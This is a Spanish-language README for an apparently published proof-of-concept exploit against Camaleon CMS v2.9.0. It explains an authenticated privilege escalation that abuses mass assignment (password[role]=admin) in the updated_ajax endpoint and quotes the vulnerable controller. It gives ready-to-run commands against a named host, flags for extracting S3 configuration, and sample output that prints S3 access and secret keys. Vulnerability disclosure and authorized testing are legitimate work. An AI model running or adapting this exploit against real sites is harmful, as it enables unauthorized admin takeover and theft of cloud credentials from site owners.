
Escalada de privilegios autenticada en Camaleon CMS v2.9.0 mediante manejo incorrecto de parámetros en el endpoint updated_ajax.
Objetivo: Camaleon CMS
v2.9.0
Tipo: Escalada de privilegios autenticada mediante asignación masiva enupdated_ajax(campo role)
Extras: Extracción opcional de configuración S3 desde la página de configuración del administrador (si el usuario autenticado puede acceder a ella después de la escalada)
Este repositorio contiene un script de prueba de concepto en Python que:
/admin/profile/edit.updated_ajax para actualizar los campos password[...] y abusar de permit! para establecer password[role]=admin.-e) extrae valores de configuración S3 de /admin/settings/site.-r) revierte el rol a su valor original después de la ejecución.Este comportamiento coincide con el patrón de asignación masiva insegura descrito en el aviso relacionado:
La acción del controlador a continuación actualiza un usuario con permit!:
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
Debido a que permit! permite todas las claves bajo password, un atacante puede enviar:
password[password]password[password_confirmation]password[role]=adminy la aplicación lo aceptará, elevando el rol del usuario.
admin.requestsInstalar dependencia:
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]Reverting User Role
User ID: 5
User Role: client
El script verifica el HTML devuelto en busca de un enlace /admin/logout después del POST de inicio de sesión.
Si el enlace de cierre de sesión está presente, la sesión se considera autenticada.
Camaleon utiliza CSRF estilo Rails. Normalmente verás tokens en dos lugares comunes:
name="authenticity_token" value="..."<meta name="csrf-token" content="...">El PoC obtiene el meta csrf-token de /admin/profile/edit y lo utiliza en:
authenticity_token=<token>X-CSRF-Token: <token>Este código se proporciona solo para pruebas de seguridad autorizadas y fines educativos (por ejemplo, laboratorios, CTFs y entornos donde tengas permiso explícito).
No lo utilices contra sistemas que no poseas o para los que no tengas permiso de prueba.
| Bandera | Descripción |
|---|
-u, --url | URL base (ej., http://alienone.in) |
-U, --username | Nombre de usuario válido |
-P, --password | Contraseña válida |
--newpass | Valor de contraseña enviado en la solicitud de actualización (por defecto: test) |
-e, --extract | Extraer configuración S3 de la página de configuración |
-r, --revert | Revertir el rol al original después de la escalada |